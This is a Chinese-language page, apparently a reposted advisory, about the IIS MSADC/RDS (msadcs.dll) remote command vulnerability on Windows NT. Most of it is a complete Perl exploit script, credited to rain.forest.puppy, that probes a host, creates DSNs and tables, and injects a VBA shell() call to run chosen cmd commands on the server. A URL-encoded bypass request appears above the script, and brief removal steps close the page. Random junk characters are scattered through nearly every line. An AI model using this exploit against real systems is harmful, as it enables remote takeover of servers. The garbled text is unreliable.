IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i( ;.Y u}P:9u&h6X 涉及程序：
V5p^]To! Microsoft NT server
abv *X 1 8 llXpe 描述：
f^ KN8N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{|<yZ, ,p m WHyk "l 详细：
L2_[M' 如果你没有时间读详细内容的话，就删除:
e1y#p3 @d c:\Program Files\Common Files\System\Msadc\msadcs.dll
ysPm4am$ 有关的安全问题就没有了。
^Ku]8/ga #;5Q d' 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
( P=WKZMPN q<Qjc 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@eutp`xoT\ 关于利用ODBC远程漏洞的描述，请参看:
w~&#:F? IG7,- 3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .R#-u/6g( sS c~q+xz 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
J{\(Y#|rHs http://www.microsoft.com/security/bulletins/MS99-025faq.asp \B:k|Pw6~ _CTg")0o 这里不再论述。
;nJ 2i?" bg /=P>2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
nLmF5.& J"@ X>n /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
X
@pm !c# 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
?6>* mdpl q#I'@Jbj +0 j{$MPZ #将下面这段保存为txt文件，然后: "perl -x 文件名"
>56fa6=3@ V#|/\-@ #!perl
~:PM_o*6 #
uMpuS1 # MSADC/RDS 'usage' (aka exploit) script
Nr+~3:3 #
@'5 *jXd # by rain.forest.puppy
cN FHbMd #
Z {:;LC # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~wF3$H.@; # beta test and find errors!
e igVT4 k}I65 ^l# use Socket; use Getopt::Std;
%#PWD7a\ getopts("e:vd:h:XR", \%args);
>,tJq % sa _ J6 ~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
J] w3iYK YJ-<t6 if (!defined $args{h} && !defined $args{R}) {
$E[M[1j print qq~
`IJ)'$pn Usage: msadc.pl -h <host> { -d <delay> -X -v }
Fw {68ggk -h <host> = host you want to scan (ip or domain)
Q`6hJgyL -d <seconds> = delay between calls, default 1 second
&j ; 91wEn -X = dump Index Server path table, if available
UjLq[,_! -v = verbose
UZmUYSu; -e = external dictionary file for step 5
Mw"[2PA 5''k|B> Or a -R will resume a command session
Y2'HP)tfIw LAM{
,?~ ~; exit;}
Iw`|,-| FGie*t $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ZMr[: ,Jp if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
n7Bv~?DM if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&/2+'wCp5 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.w _BA) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B2*>7 kc_s if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;K|K]c zHg=K / if (!defined $args{R}){ $ret = &has_msadc;
v _:KqdmO] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
L[<Y6u>m!1 e6H}L:; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
KHx;r@ {< . "cmd /c ";
Z__fwv.X[ $in=<STDIN>; chomp $in;
;I80<SZ $command="cmd /c " . $in ;
zBwqI JfM X2 ;72 if (defined $args{R}) {&load; exit;}
fVa z'R BB9eQ:
xO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=sv?))b` &try_btcustmr;
a5O$he _
W#Km print "\nStep 2: Trying to make our own DSN...";
qmGHuQVe &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
PX0N7L p,|)qr:M print "\nStep 3: Trying known DSNs...";
5D?{dA:Rq &known_dsn;
" W {rS4L jk_yrbLc print "\nStep 4: Trying known .mdbs...";
WBJn1 &known_mdb;
d(d3@b4Ta #Tag"b` if (defined $args{e}){
sa/9r9hc+ print "\nStep 5: Trying dictionary of DSN names...";
$!!y v'K &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{ R[ V pFiE2V_aS print "Sorry Charley...maybe next time?\n";
;"e55|d9I exit;
zVe,HKF/ aO ?KRn ##############################################################################
}weE^9GiJ oRcP4k;d= sub sendraw { # ripped and modded from whisker
w)qmq sleep($delay); # it's a DoS on the server! At least on mine...
Mh3L(z]/E my ($pstr)=@_;
*%_M? ^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<nV 3`L&] die("Socket problems\n");
fpjFO&ML if(connect(S,pack "SnA4x8",2,80,$target)){
vO"E4s select(S); $|=1;
]SL+ZT print $pstr; my @in=<S>;
%iYro8g!, select(STDOUT); close(S);
1r ue+GL return @in;
#Q_<eo%lI* } else { die("Can't connect...\n"); }}
rW~G' G MLx$?=j ##############################################################################
.{bT9Sc5 tBw P B#:W sub make_header { # make the HTTP request
N >P" $ my $msadc=<<EOT
[Q6$$z92Q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
B=X_c5 User-Agent: ACTIVEDATA
@^-f +o Host: $ip
FcOrA3tt Content-Length: $clen
Sn.I{~ Connection: Keep-Alive
,y/m5-D! yd45y}uS;F ADCClientVersion:01.06
]^a{?2 ei Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6 {3q l: )^ )|b5, --!ADM!ROX!YOUR!WORLD!
f_ hG2S k Content-Type: application/x-varg
#0#6e T{- Content-Length: $reqlen
mryT%zSlM s>>lf&7 EOT
'$ G%HUn ; $msadc=~s/\n/\r\n/g;
5: EE%(g9 return $msadc;}
iq 8Hq)I] pf =CP%L ##############################################################################
vDc&m dGR #l) sub make_req { # make the RDS request
A j> my ($switch, $p1, $p2)=@_;
@Hp=xC9V my $req=""; my $t1, $t2, $query, $dsn;
x_4{MD^% ty9(mtH+ if ($switch==1){ # this is the btcustmr.mdb query
gvP.\,U $query="Select * from Customers where City=" . make_shell();
G#'G9/Tm $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
IF? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
b3-+*5L ]}_Ohe]X elsif ($switch==2){ # this is general make table query
*NI hYg6 $query="create table AZZ (B int, C varchar(10))";
e#tWQM3 $dsn="$p1";}
6" . v6 LQ"xm elsif ($switch==3){ # this is general exploit table query
l W
Lj== $query="select * from AZZ where C=" . make_shell();
elP#s5l4 $dsn="$p1";}
<L3ig%#B `{J(S'a` elsif ($switch==4){ # attempt to hork file info from index server
42DB0+_wz $query="select path from scope()";
Jqt|' G3 $dsn="Provider=MSIDXS;";}
HR?a93 0:>C v <N elsif ($switch==5){ # bad query
o7:"Sl2AD $query="select";
ery{>|k $dsn="$p1";}
Z3A"G WY DEpn> $t1= make_unicode($query);
]LSlo593 $t2= make_unicode($dsn);
BUEV+SZ4 $req = "\x02\x00\x03\x00";
l`AA<Rj*O- $req.= "\x08\x00" . pack ("S1", length($t1));
95 X6V $req.= "\x00\x00" . $t1 ;
*3!ixDX[r $req.= "\x08\x00" . pack ("S1", length($t2));
x*F_XE1#M $req.= "\x00\x00" . $t2 ;
'Z^KpW $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
K6oQ x)| return $req;}
At8^yF
Csx??T_>r ##############################################################################
^g N?Io %0K e4c sub make_shell { # this makes the shell() statement
fmk(} return "'|shell(\"$command\")|'";}
[S T7CrwC
nA XWbavY ##############################################################################
JztSP? Gv }~ sub make_unicode { # quick little function to convert to unicode
o_%gFV[q my ($in)=@_; my $out;
Zk
9 i}H for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ln=:E$jX return $out;}
)u_[cE JHO >WW5;7$ ##############################################################################
P}bw E j #jR1ti)p sub rdo_success { # checks for RDO return success (this is kludge)
hvU\l`m my (@in) = @_; my $base=content_start(@in);
5JRj'G0I if($in[$base]=~/multipart\/mixed/){
`}&}2k return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Z <vTr6? return 0;}
Sc3 B*. Eg|C ##############################################################################
-&_;x&k
/ _f~m&="T! sub make_dsn { # this makes a DSN for us
5QJ FNE my @drives=("c","d","e","f");
e' t1.%w print "\nMaking DSN: ";
(
G# W6 foreach $drive (@drives) {
d7Devs
k print "$drive: ";
]u@`XVEJ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\KPwh]0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
9q
f= P3 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
CaqMLi % $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?{*/VJl$ return 0 if $2 eq "404"; # not found/doesn't exist
i$W=5B>SO if($2 eq "200") {
Luu.p < foreach $line (@results) {
DANndXQLH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
YO^iEI. } return 0;}
0ud>oh4WPR 04cNi~@m ##############################################################################
#mcU);s 2k3 yf_N sub verify_exists {
iKN800^u my ($page)=@_;
h9L/.>CX my @results=sendraw("GET $page HTTP/1.0\n\n");
JqYt^,,Q: return $results[0];}
QHuh=7u) %R [X_n= ##############################################################################
`T;Y%"X! !2Q> sub try_btcustmr {
d8Kxtg
Y my @drives=("c","d","e","f");
Rk.GrLp my @dirs=("winnt","winnt35","winnt351","win","windows");
jIs2 R3B vs~lyM/ foreach $dir (@dirs) {
l]o)KM< print "$dir -> "; # fun status so you can see progress
<"XDIvpc%L foreach $drive (@drives) {
86,$ I+ print "$drive: "; # ditto
qEbzF#a-: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Z6 vm!#\ $reqlenlen=length( "$reqlen" );
lm; G8IP` $clen= 206 + $reqlenlen + $reqlen;
{<3 >^ o|" J6Q}a7I# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!p~K;p, if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?nAKB5= else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%d\|a~p: >av.pJ(> ##############################################################################
Ma`Goi\vFk N%.D j H sub odbc_error {
]XH}G 9X^ my (@in)=@_; my $base;
_("&jfn
my $base = content_start(@in);
Xqac$%[3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>O{/%(9 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s *B-| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U@$=0* $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E |A,NPf%I return $in[$base+4].$in[$base+5].$in[$base+6];}
k5@_8Rc print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
j> 0~"A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
S -Y(Vn4 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
: a4FO G
Riu] ##############################################################################
]3E':JM@ 69v[* InSd sub verbose {
Tcglt>tj" my ($in)=@_;
'*KP{"3\ return if !$verbose;
^< e"OV print STDOUT "\n$in\n";}
X; gN[ '7<@(HO ##############################################################################
63$ R') adJoT-8 P6 sub save {
y{eZ rX| my ($p1, $p2, $p3, $p4)=@_;
O;A/(lPW+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3o'SY@ 'W print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
`f^`i~c\ close OUT;}
&\C{,:[ ^j2:fJOU# ##############################################################################
+M\*C# Z v=p0xH sub load {
m,u?
^ W my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XU0"f!23x open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a<V=C @p=<IN>; close(IN);
w? AE8n$8 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
b)u9#%Q $target= inet_aton($ip) || die("inet_aton problems");
'FBvAk6 print "Resuming to $ip ...";
Jz#ZDZkm $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
T
T0O % if($p[1]==1) {
'ce9v@(0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Z e$:-7Czl $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
,Z%!38gGsu my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
pAmTwe if (rdo_success(@results)){print "Success!\n";}
r/Pg,si else { print "failed\n"; verbose(odbc_error(@results));}}
n X
Qz elsif ($p[1]==3){
zck)D^, aO if(run_query("$p[3]")){
?NI)3-l print "Success!\n";} else { print "failed\n"; }}
d*3R0Q|#{ elsif ($p[1]==4){
,)L.^< if(run_query($drvst . "$p[3]")){
[u RsB5 print "Success!\n"; } else { print "failed\n"; }}
VH*j3 exit;}
A| >a
Gy ]-.Q9cjc$q ##############################################################################
`T9<}&=! xs &vgel> sub create_table {
dm$:xE ": my ($in)=@_;
*8XGo $reqlen=length( make_req(2,$in,"") ) - 28;
JmY i& $reqlenlen=length( "$reqlen" );
`%ymg8 ^ $clen= 206 + $reqlenlen + $reqlen;
!9)*. 9[8 my @results=sendraw(make_header() . make_req(2,$in,""));
N&>D/Z;" return 1 if rdo_success(@results);
jv0e&rt my $temp= odbc_error(@results); verbose($temp);
m@c2'*&Y return 1 if $temp=~/Table 'AZZ' already exists/;
&2\.6rb. return 0;}
3\@6i' [=E<iPl ##############################################################################
% 9WWBxS -`?V8OwY] sub known_dsn {
;5=p BP . # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7SqsVq`[~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Y66 vJ<lM "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
;%82Z4 "banner", "banners", "ads", "ADCDemo", "ADCTest");
b'Uaj`Sn \R#XSW, foreach $dSn (@dsns) {
*@Qt*f print ".";
03#_ ( next if (!is_access("DSN=$dSn"));
-0\$JAyrx if(create_table("DSN=$dSn")){
Ql V:8:H$ print "$dSn successful\n";
"iydXV=Q if(run_query("DSN=$dSn")){
T@S +5( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
k<f* n s print "Something's borked. Use verbose next time\n";}}} print "\n";}
0CN .gu '/p5tw8 ##############################################################################
>ab=LDoM Z2 @&4_P sub is_access {
)i>KYg w my ($in)=@_;
O0I/^ $reqlen=length( make_req(5,$in,"") ) - 28;
DuFl N1 Z $reqlenlen=length( "$reqlen" );
FJ[(dGKeE $clen= 206 + $reqlenlen + $reqlen;
Cv=0&S. my @results=sendraw(make_header() . make_req(5,$in,""));
AUq?<Vg\ my $temp= odbc_error(@results);
9(I4x]` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
& 3a+6!L[ return 0;}
2]' ozs$|v #nd,c n ##############################################################################
/[-hJ=< Yb D;E&;vP6% sub run_query {
u J$"2<O my ($in)=@_;
Yk5kC 0B $reqlen=length( make_req(3,$in,"") ) - 28;
G@(7d1){ $reqlenlen=length( "$reqlen" );
04"h Qt{[ $clen= 206 + $reqlenlen + $reqlen;
- t+Mh . my @results=sendraw(make_header() . make_req(3,$in,""));
dvf*w:5K! return 1 if rdo_success(@results);
YUH/ tl my $temp= odbc_error(@results); verbose($temp);
?\yo~=N^ return 0;}
r5"/ EMieh v 7R&9kU{ ##############################################################################
?b0\[ A4^+p0@ sub known_mdb {
nZ*P:K t: my @drives=("c","d","e","f","g");
pqe
t Yu my @dirs=("winnt","winnt35","winnt351","win","windows");
I5~D C my $dir, $drive, $mdb;
:s5g6TR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
c' 6H @m#= uu: )jx i # this is sparse, because I don't know of many
p#kC#{<nE my @sysmdbs=( "\\catroot\\icatalog.mdb",
a !IH-XJ2 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
g DhwJks "\\system32\\certmdb.mdb",
xv:?n^yt.[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\x! >5Z
Y (pmo[2kg my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
g U?) "\\cfusion\\cfapps\\forums\\forums_.mdb",
sa` Yan "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Q@8[q l1l "\\cfusion\\cfapps\\security\\realm_.mdb",
? Z=v&d[o) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
@2mP "\\cfusion\\database\\cfexamples.mdb",
]ok>PH] "\\cfusion\\database\\cfsnippets.mdb",
gY9"!IVe+
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
+@Y[i." ^J "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Bag# An1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
ZwMw g t "\\cfusion\\database\\smpolicy.mdb",
x3Ud0[( "\\cfusion\\database\cypress.mdb",
.H"hRYPC? "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wLtTC 4D "\\website\\cgi-win\\dbsample.mdb",
1 XG-O "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_#C}hwOR>X "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
z+*Z<c5d ); #these are just
yShHFlO= foreach $drive (@drives) {
F T~^$)8= foreach $dir (@dirs){
`y`x k<q foreach $mdb (@sysmdbs) {
R*X2Z{n print ".";
G)&'8W F5o if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^aXBt print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
7m M;Q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=@2V#X]M* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^mi4q[PM } else { print "Something's borked. Use verbose next time\n"; }}}}}
Q7|13^ | C spJ(1F{|V foreach $drive (@drives) {
B $l`9!, foreach $mdb (@mdbs) {
CWp1)% 0= print ".";
F"x O0t if(create_table($drv . $drive . $dir . $mdb)){
?N*0 S'dY print "\n" . $drive . $dir . $mdb . " successful\n";
1c#'5~ nB if(run_query($drv . $drive . $dir . $mdb)){
opMUt,4 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
FE}!bKh } else { print "Something's borked. Use verbose next time\n"; }}}}
]ufW61W6Ci }
QIK73^ u4@e =vW I ##############################################################################
* Xoscc A+I&.\QAR sub hork_idx {
Z~c'h print "\nAttempting to dump Index Server tables...\n";
#OWs3$9
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
G%!\ p:w $reqlen=length( make_req(4,"","") ) - 28;
pFTlhj)1 $reqlenlen=length( "$reqlen" );
w y {>gvqK $clen= 206 + $reqlenlen + $reqlen;
-j _I_ my @results=sendraw2(make_header() . make_req(4,"",""));
7[g;|(G0 if (rdo_success(@results)){
iIaT1i4t. my $max=@results; my $c; my %d;
hw$c@:pW; for($c=19; $c<$max; $c++){
4q13xX $results[$c]=~s/\x00//g;
@b\ S. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h F "g 91P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\bm6/fhA: $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
EWIc|b: $d{"$1$2"}="";}
=nx:GT3&[ foreach $c (keys %d){ print "$c\n"; }
|<-F|v 9og } else {print "Index server doesn't seem to be installed.\n"; }}
U}w+`ZLN K;p<f{PE ##############################################################################
1Xr"h:U_X N4 mJU'_{ sub dsn_dict {
Jh4&Qh|t open(IN, "<$args{e}") || die("Can't open external dictionary\n");
x
XM! E
8 while(<IN>){
`%M-7n9Y $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
dAr)%RZ next if (!is_access("DSN=$dSn"));
yv)nW::D( if(create_table("DSN=$dSn")){
8a`+h# print "$dSn successful\n";
/%YiZ# if(run_query("DSN=$dSn")){
D2</^]3Su print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
LkGf|yd_ print "Something's borked. Use verbose next time\n";}}}
E eJqszmH print "\n"; close(IN);}
ge):<k_
ml.;wB| ##############################################################################
r1ok u0 o ?96-" l sub sendraw2 { # ripped and modded from whisker
T5S g2a1& sleep($delay); # it's a DoS on the server! At least on mine...
a3 UPbl3^ my ($pstr)=@_;
N3 g NOq& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qX{X4b$ die("Socket problems\n");
8.CKH4h if(connect(S,pack "SnA4x8",2,80,$target)){
'Z.OF5|eGT print "Connected. Getting data";
-/ UXd4S open(OUT,">raw.out"); my @in;
px _s@>l` select(S); $|=1; print $pstr;
e" E qi- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?Z Rkn+; close(OUT); select(STDOUT); close(S); return @in;
Jf?S9r5 Q } else { die("Can't connect...\n"); }}
M_h8#7 {G |,;twj[?4 ##############################################################################
1t~F W-: jQ_dw\
{0 sub content_start { # this will take in the server headers
*O+R|Cdp/ my (@in)=@_; my $c;
;h9-}F for ($c=1;$c<500;$c++) {
xN` r4 if($in[$c] =~/^\x0d\x0a/){
gT(th9'+z if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
LAv:+o(m/ else { return $c+1; }}}
V) 0[`zJ return -1;} # it should never get here actually
cX %: djsz!$ ##############################################################################
s>jr1~~3O_ \ fK47oV sub funky {
nA o8uWG my (@in)=@_; my $error=odbc_error(@in);
VY/|WD~"CW if($error=~/ADO could not find the specified provider/){
-ca7x`yo print "\nServer returned an ADO miscofiguration message\nAborting.\n";
j?:`-\w5 exit;}
URYZV8=B~ if($error=~/A Handler is required/){
]}z'X!v_@ print "\nServer has custom handler filters (they most likely are patched)\n";
onnI ! exit;}
FZe:co8Mu if($error=~/specified Handler has denied Access/){
VK2@2`$ print "\nServer has custom handler filters (they most likely are patched)\n";
R=-+YBw7/ exit;}}
LH=d[3Y +I|R k& ##############################################################################
J>`v.8y AL>c:K)qO sub has_msadc {
CifA,[l34 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\U/v;Ijf my $base=content_start(@results);
(V gNb&Yo9 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
UT 3bd,, return 0;}
3A-*vaySV Q |
########################
m6b$Xyq[ vqq6B/r@Fu Z6
;Wd_ 解决方案：
L-#e?Y}$J 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
jm+ V$YBP 2、移除web 目录: /msadc
